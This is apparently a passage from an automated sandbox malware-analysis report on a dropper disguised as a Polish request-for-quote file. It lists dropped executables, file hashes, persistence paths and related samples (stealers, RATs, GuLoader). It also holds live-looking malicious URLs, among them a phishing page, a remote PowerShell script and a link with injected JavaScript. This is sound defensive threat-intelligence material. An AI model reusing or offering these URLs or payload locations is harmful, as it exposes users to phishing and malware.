SvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqG	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://docs.google.com/drawings/d/14Q1EGmG0TWb0poSuSYwhNHZWOm-kG4Jlnk5Hg076lVI/preview?pli=132E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWl	Get hash	malicious	Mamba2FA	Browse	188.114.96.3
	come.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	Markus-Dokumenten-Kaufvertrag.vbs	Get hash	malicious	GuLoader, Remcos	Browse	149.154.167.220
	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)	Get hash	malicious	Unknown	Browse	149.154.167.220
	rShippingDocuments240384.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	M2AB8BeHc4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Bill_Of _Lading.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	IGNM2810202400017701_270620240801_546001.vbs	Get hash	malicious	GuLoader	Browse	149.154.167.220
	https://clairecarpenter.com/wp-includes/css/pbcmc.php?7112797967704b536932307466507a4373757943784b5463314a54533470796b784f7a456e567130725553383750315338317430677031416341#Email#	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.220
	https://filerit.com/pi-240924.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	audiosrv.dll	Get hash	malicious	Matanbuchus	Browse	51.81.194.202
	audiosrv.dll	Get hash	malicious	Matanbuchus	Browse	51.81.194.202
	yolo.dll	Get hash	malicious	Unknown	Browse	51.81.194.202
	Markus-Dokumenten-Kaufvertrag.vbs	Get hash	malicious	GuLoader, Remcos	Browse	51.81.194.202
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	51.81.194.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Quasar, Stealc	Browse	51.81.194.202
	X9d3758tok.exe	Get hash	malicious	Stealc, Vidar	Browse	51.81.194.202
	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	51.81.194.202
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	51.81.194.202
	https://inspyrehomedesign.com/Ray-verify.html	Get hash	malicious	NetSupport RAT	Browse	51.81.194.202

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\cmsys[1].htm

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	795
Entropy (8bit):	5.215720572741232
Encrypted:	false
SSDEEP:	24:hYYIzDI8JRA3ZsjNQCRtgoLY95MI5634Vsk:rqPj2CZLY5Mm63E
MD5:	5D8D79C3CB9AF023240B1BE6F5057AAA
SHA1:	DF22980677B134E83D878893F7C7984E0D78A240
SHA-256:	E8B101A7C7F64AAD528CC734513CBEB02243C0AF37930DC0F3239749CFF184B6
SHA-512:	66F432B622CEE0BCC06CBC0F833DE1471EA36C295B4CD93EB848D97E69C2252ACD2FC8972DB51EA35475A424F4D6CB5001325525FB04F71B8704EB24DE1C4008
Malicious:	false
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 301 Moved Permanently..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1>.<h2 style="margin-top:20px;font-size: 30px;">Moved Permanently..</h2>.<p>The document has been permanently moved.</p>.</div></div></body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\what-happened-to-the-old-zxq-website[1].htm

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8047)
Category:	dropped
Size (bytes):	56985
Entropy (8bit):	5.380924866576166
Encrypted:	false
SSDEEP:	1536:PyMapcrHsCNwn1d0kelTa1uJ8+C7d7cjmZ2clnlZ+/Y:Pq8wnSjq2clnlZCY
MD5:	47F0F1D21C5A40DBAF883F186B1EFC9C
SHA1:	E066A383D291E94AD1ABD45A59FE8DD671F76D1E
SHA-256:	D9B6C8BB841678B66D95FD942CEF7E0EDA384D687DBA8E8D6D53382BECEC1E86
SHA-512:	35413EF81F8C021AE5398DCCA5E6F9FF365AB77CE253753D1235F5752ABFA6D050363EDD870598A2F52598D39D4DE2F156FF712F150ECDC46A4F5DC6EEF73824
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="en-US" class="s-dark site-s-dark">..<head>...<meta charset="UTF-8" />..<meta name="viewport" content="width=device-width, initial-scale=1" />..<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO Premium plugin v18.0 (Yoast SEO v18.4.1) - https://yoast.com/wordpress/plugins/seo/ -->..<title>What happened to the old ZXQ website? \| ZXQ</title><link rel="preload" as="font" href="https://zxq.net/wp-content/themes/smart-mag/css/icons/fonts/ts-icons.woff2?v2.2" type="font/woff2" crossorigin="anonymous" />..<link rel="canonical" href="https://zxq.net/what-happened-to-the-old-zxq-website/" />..<meta property="og:locale" content="en_US" />..<meta property="og:type" content="article" />..<meta property="og:title" content="What happened to the old ZXQ website?" />..<meta property="og:description" content="Information For ZXQ.net Subdomain Owners The old ZXQ website

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cmsys[1].htm

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	795
Entropy (8bit):	5.215720572741232
Encrypted:	false
SSDEEP:	24:hYYIzDI8JRA3ZsjNQCRtgoLY95MI5634Vsk:rqPj2CZLY5Mm63E
MD5:	5D8D79C3CB9AF023240B1BE6F5057AAA
SHA1:	DF22980677B134E83D878893F7C7984E0D78A240
SHA-256:	E8B101A7C7F64AAD528CC734513CBEB02243C0AF37930DC0F3239749CFF184B6
SHA-512:	66F432B622CEE0BCC06CBC0F833DE1471EA36C295B4CD93EB848D97E69C2252ACD2FC8972DB51EA35475A424F4D6CB5001325525FB04F71B8704EB24DE1C4008
Malicious:	false
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 301 Moved Permanently..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1>.<h2 style="margin-top:20px;font-size: 30px;">Moved Permanently..</h2>.<p>The document has been permanently moved.</p>.</div></div></body></html>.

C:\Users\user\AppData\Local\Temp\intemeration

Download File

Process:	C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe
File Type:	data
Category:	dropped
Size (bytes):	276480
Entropy (8bit):	6.916407926188135
Encrypted:	false
SSDEEP:	6144:uWmLkxdzKx1Ysq0B1GBsW+iE7UAWDQVO9Ez94CaGQ2/DJ0O:uW5zKx1Ysq21Y+MDsaGR
MD5:	09F58DF8A3560E048BC1288D1720C35B
SHA1:	FE0CEE5DEFEB901D0239195590ABC34679130B7E
SHA-256:	52ACBB9F979A865750B4036CC025AE3F2F92077C7125C8464AA550942D11CD64
SHA-512:	736F8F8DC2AA7B32DBC8E0C98CF0571A7B3A2B7BE1326197979CDFC38D76EA944BE825D599C4DDA74E9625208AC860576BDDD646048CEEDC99C5A1782B8ED021
Malicious:	false
Preview:	{..VQO80N099..R0.EX9D4U6.YVRO80J099J0R0IEX9D4U6GYVRO80J099J0.0IEV&.:U.N.w.Nt.kdQP9."B&"X).6W)79&oZUjBLWjY<.....)[1SiT[Xk80J099J`.0I.Y:D..!YVRO80J0.9H1Y1.EX.@4U"GYVRO8..499j0R0)AX9DtU6gYVRM80N099J0R0MEX9D4U6G.RRO:0J099J2Rp.EX)D4E6GYVBO8 J099J0B0IEX9D4U6GYj.K8.J0994R'YEX9D4U6GYVRO80J099J.V0EEX9D4U6GYVRO80J099J0R0IEX9D4U6GYVRO80J099J0R0IEX9D4U.GY^RO80J099J0R8iEXqD4U6GYVRO80dD\A>0R0.d\9D.U6G{RRO:0J099J0R0IEX9D.U6'w$!=[0J0.)J0RPMEX+D4U.CYVRO80J099J0RpIE..6Q9Y$YV^O80J.=9J2R0Is\9D4U6GYVRO80Jp99.0R0IEX9D4U6GYVROHqN099J0.0IEZ9A4.EY..N83J09.J0T..GX.D4U6GYVRO80J099J0R0IEX9D4U6GYVRO80J099J0R0I.%.K......O80J098H3V6AMX9D4U6GY(RO8vJ09yJ0R.IEX.D4U[GYVvO80409940R0-EX964U6&YVR.80J_99J^R0I;X9DW.gYVXe.0H..9J:R..6z9D>.7GYR!l80@.;9J4!.IER.G4U24\|VRE.4J0=Jl0R:.@X9@..6D.@TO8+%.99@0Q.\CX9_.s6EqlRO20`.9:.%T0I^r.D6.?GYRx.K-J0?..0R:=LX9F._6G]\|LM.tJ03.hNY0IAs9n.+:GYRyO..4=99N.R.WG.4D4Q.e'XRO<.J..GE0R4bEr'F.Z6G]\|p1(0J4.9`.,!IE\.D.wHUYVVd8.hN*9J4y0cg&-D4Q.Gst,Z80N.9.hND0IAs9n.+!GYRyO..4(99N.R.WG.!D4Q.As4R=.%J@:

C:\Users\user\AppData\Local\Temp\~DF1AC4BF620BE43162.TMP

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.41758136834515647
Encrypted:	false
SSDEEP:	6:rl912N0xs+CFQXCB9Xh9Xh9XqlEij1b5X:rl3lKFQCb77eEipl
MD5:	B189745447FFC0F0692BBEC0E4926FF0
SHA1:	4F86C94BF1FEA524EC895BB300854140E8E45D9E
SHA-256:	41DB75ED191E8D2FD951528E88F2060E1CB6531FEEC60E72BB9929E2B25E5A2E
SHA-512:	2394E5BBB1FDD5F78F27E5118025B876B109EFADE413B8D1BCD9A561F84384B7928F670201FDB15952975653B9868B7CA0920B8F61CA3B84371B652E04C06567
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF7B1FDB34DDC64C15.TMP

Download File

Process:	C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	1.2645041997918773
Encrypted:	false
SSDEEP:	6:rl91bxbt+r+CFQXL379Xa9Xh9XR5+flEij1b5X:rl3b/+PFQLZG7ONEipl
MD5:	68615E8002F9DDAFD1F818EF7957201B
SHA1:	885572289EA26BDC332D5624C4E93FDB00C417F3
SHA-256:	3C32FD4040390B85F944ACA964E50E0ED7777D7D87E870708A7F9FCA16F02001
SHA-512:	377D755324FA9F18B5C14B9FB4C413ECB8FCA4445BA91E8223394C1FC32F16B5A5662012603A42F18D5E5CCC74D2FA7D9E8DD0C10C87E1716B9C127EDA4FBA82
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF99039B5448018D61.TMP

Download File

Process:	C:\Windows\System\spoolsv.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	1.2638531581252106
Encrypted:	false
SSDEEP:	6:rl91bxbt+r+CFQXa379Xa9Xh9XR5+flEij1b5X:rl3b/+PFQaZG7ONEipl
MD5:	68D06F5DA2CB2FB5A6398F29976A2E86
SHA1:	2F68F6C6F6E7CA8097238C9BD1CEF4A9E6054DFA
SHA-256:	A71582DC116F29E36B0C8495B4CA62DB46BAA0F4ABC459EDD191072B75B3E6DA
SHA-512:	DF31C368727D37F52E9030ECD354BAB5BDE78A279709FB408E6A3F448F1406B2FD326D771B296113B07140C307C826BA6C5AF9462E5542806A68659F216A794A
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFB5C7132B9774A256.TMP

Download File

Process:	C:\Windows\System\spoolsv.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	1.2627968064006543
Encrypted:	false
SSDEEP:	6:rl91bxbt+r+CFQXevX79Xa9Xh9XR5+flEij1b5X:rl3b/+PFQi5G7ONEipl
MD5:	145F626B4802890E2415DF8B45BBB97A
SHA1:	8F6C29E30819C0449718738D0EDE976C216904BB
SHA-256:	1664181BC00EF2ABD56F1257F82814947806171FC46B5F71CF741467E9559FFE
SHA-512:	09E181BDD0CFB42102353AC8E0129D819D41002F6AC5DCA2766B7A0F291BBD96D4EA4EAFDACB4D72DDC494450951E591C992DE09823ED8A1C1225A1C2ECEC4DD
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFB5F27409F76997FD.TMP

Download File

Process:	C:\Windows\System\svchost.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.41758136834515647
Encrypted:	false
SSDEEP:	6:rl912N0xs+CFQXCB9Xh9Xh9XqlEij1b5X:rl3lKFQCb77eEipl
MD5:	B189745447FFC0F0692BBEC0E4926FF0
SHA1:	4F86C94BF1FEA524EC895BB300854140E8E45D9E
SHA-256:	41DB75ED191E8D2FD951528E88F2060E1CB6531FEEC60E72BB9929E2B25E5A2E
SHA-512:	2394E5BBB1FDD5F78F27E5118025B876B109EFADE413B8D1BCD9A561F84384B7928F670201FDB15952975653B9868B7CA0920B8F61CA3B84371B652E04C06567
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFC3885679947F7550.TMP

Download File

Process:	C:\Users\user\AppData\Local\icsys.icn.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	1.2633291866166048
Encrypted:	false
SSDEEP:	6:rl91bxbt+r+CFQXt79Xa9Xh9XR5+flEij1b5X:rl3b/+PFQDG7ONEipl
MD5:	02B9D27D3E44125431EF4D02D2FA7980
SHA1:	901DBAF33FB596BF4FF88622C50FFA16B5994240
SHA-256:	57B21C90F197937625BF7F4921FFB85A981AB866A8A4B4795C55BD2D059B503F
SHA-512:	03A60D9DB8C52D3A920A43FA16BC0A8DAB6A992F00DFC9403F6E81DF083DFBEF0EBD31419BAF7F780B4E486E3B6805DEB2DABE2CA8A81A76CB30B9975561BDB7
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFC66E717EB0407238.TMP

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	1.2636074265164334
Encrypted:	false
SSDEEP:	6:rl91bxbt+r+CFQXE379Xa9Xh9XR5+flEij1b5X:rl3b/+PFQEZG7ONEipl
MD5:	E05B680DD1DF78E724455FB7158F4311
SHA1:	19DBE38E76062A31AD83B89DDF3279B8DD8ACBCA
SHA-256:	C1651471F6B98B5082F899185E4AF50D93845AB9174AB594B8A89A0249988A2D
SHA-512:	5AC5F3A9A67903B1356383D5026261FC845485C31696B2D0FFE2F22F9CC2E1CDDC5E2B94713184E3A1B5DE7E28A347AAC6C98400592D1F1F2A1F83071DAF8467
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\icsys.icn.exe

Download File

Process:	C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	281030
Entropy (8bit):	5.264133173177648
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unEQ:UvEN2U+T6i5LirrllHy4HUcMQY67Q
MD5:	30957BE4D1D5957A9D6433367CEF30EF
SHA1:	DF2D8A795BD221D77B0BC167D05203AB6B6B2FCA
SHA-256:	CEDCF4E2FFC34660E6E4BDD8E3CAB70B2C805704CEB302F29E3B5A3C4E6EAC5C
SHA-512:	36382E3597704764AE1300CA3C857B50F2FABE7F557C36240206749DFA89FB435F313511D72D5DED60DB9B38237F0D983F0AF78F3440AC7DFAA7014E3085E161
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\stsys.exe

Download File

Process:	C:\Windows\System\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	280964
Entropy (8bit):	5.2782425104140485
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unE0:UvEN2U+T6i5LirrllHy4HUcMQY670
MD5:	D9DF41230ED665D3BFD1699F553A0DB6
SHA1:	920A122D6421D67C99B034ED01089C8868EC4E3C
SHA-256:	54471B3BDA76566C011DA454A12BEE2C7BE254C2CA8B87C7B77EC6D5F0F6A51D
SHA-512:	121CEE3E6A5FBAAC95A275479327CC5585DED0D7DB9AFB0AC239C53C2DBBD4F29893E685A1DCB7EA84FB36B64D19C118B33C4E1482E631915C425D2B1C0D12FF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\mrsys.exe

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	280879
Entropy (8bit):	5.284570362955645
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unEK:UvEN2U+T6i5LirrllHy4HUcMQY67K
MD5:	E57E0355C01800F09C67E2624DE30125
SHA1:	DED144F61FA9C51909352E7108596F17510A13D1
SHA-256:	E5C39768360C0C0A443F9FC2ACF30519BB871F5082EE9E7DEF7B690DCF0667E9
SHA-512:	6BA317FC0F2D421FA41E1AAD1B8110C9D6458FA3AC4084473770FA44377AC4643C9FA838EEBA4D9540A3F3ADD9B4907EBD5872082EDE98A7A74A687763204141
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Download File

Process:	C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1243595
Entropy (8bit):	7.459432026976749
Encrypted:	false
SSDEEP:	24576:ffmMv6Ckr7Mny5QLvmVib5B6lhswkKa59PK01LnRiap:f3v+7/5QLvmG6lh8KmrLX
MD5:	6A6157CD22CD9558F8579C30632E62C1
SHA1:	7451D8E77A65FF7E9DDEBDF73183CBD684D3FDFD
SHA-256:	C3E272AF01D2B5739D8F91CE17D80E13818A59FE50F5545D09FEA9A669520667
SHA-512:	4E41562A7279AF1B4B4A0513B4F75965F04729FC3D6D71A9C74634A24257143BEE308C942ABB3E5DE5B29BDAFDE86CCFAC5F906F1C26B4A0B40C54B0FE47FA3A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i.i.i..9.k.`.:.w.`.,...`.+.P.N%.c.N%.H.i.d.`. ./.w.:.k.w.;.h.i.8.h.`.>.h.Richi.........................PE..L.....K..........#..................c....... ....@..........................P......5!........@.......@.....................<...T.................................................................................... ..@............................text............................... ..`.rdata..\.... ......................@..@.data............h..................@....rsrc................H..............@..@................................................................................................................................................................................................................................................................................................................................

C:\Windows\System\cmsys.cmn

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8047)
Category:	dropped
Size (bytes):	56985
Entropy (8bit):	5.380924866576166
Encrypted:	false
SSDEEP:	1536:PyMapcrHsCNwn1d0kelTa1uJ8+C7d7cjmZ2clnlZ+/Y:Pq8wnSjq2clnlZCY
MD5:	47F0F1D21C5A40DBAF883F186B1EFC9C
SHA1:	E066A383D291E94AD1ABD45A59FE8DD671F76D1E
SHA-256:	D9B6C8BB841678B66D95FD942CEF7E0EDA384D687DBA8E8D6D53382BECEC1E86
SHA-512:	35413EF81F8C021AE5398DCCA5E6F9FF365AB77CE253753D1235F5752ABFA6D050363EDD870598A2F52598D39D4DE2F156FF712F150ECDC46A4F5DC6EEF73824
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="en-US" class="s-dark site-s-dark">..<head>...<meta charset="UTF-8" />..<meta name="viewport" content="width=device-width, initial-scale=1" />..<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO Premium plugin v18.0 (Yoast SEO v18.4.1) - https://yoast.com/wordpress/plugins/seo/ -->..<title>What happened to the old ZXQ website? \| ZXQ</title><link rel="preload" as="font" href="https://zxq.net/wp-content/themes/smart-mag/css/icons/fonts/ts-icons.woff2?v2.2" type="font/woff2" crossorigin="anonymous" />..<link rel="canonical" href="https://zxq.net/what-happened-to-the-old-zxq-website/" />..<meta property="og:locale" content="en_US" />..<meta property="og:type" content="article" />..<meta property="og:title" content="What happened to the old ZXQ website?" />..<meta property="og:description" content="Information For ZXQ.net Subdomain Owners The old ZXQ website

C:\Windows\System\explorer.exe

Download File

Process:	C:\Users\user\AppData\Local\icsys.icn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	280955
Entropy (8bit):	5.278591312442739
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unEo:UvEN2U+T6i5LirrllHy4HUcMQY67o
MD5:	40D6074239B5794D42186340C0FB7B60
SHA1:	A2F3C78CA707A8D44675934D9C0F52B2D69D3C08
SHA-256:	573B329EA4A51B1127B5DA65EE01B3B81060F0F507A54B1F001C4CE57A42620D
SHA-512:	27721EEBD2F86A3B440F320BA5C2A7EB566B58B4D9C3B3C6A0B5DA8CD036D001955D06024F9B1E8E4079F0838DF6957404DB368A2FE27CBE3F26C1B0E269AE33
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

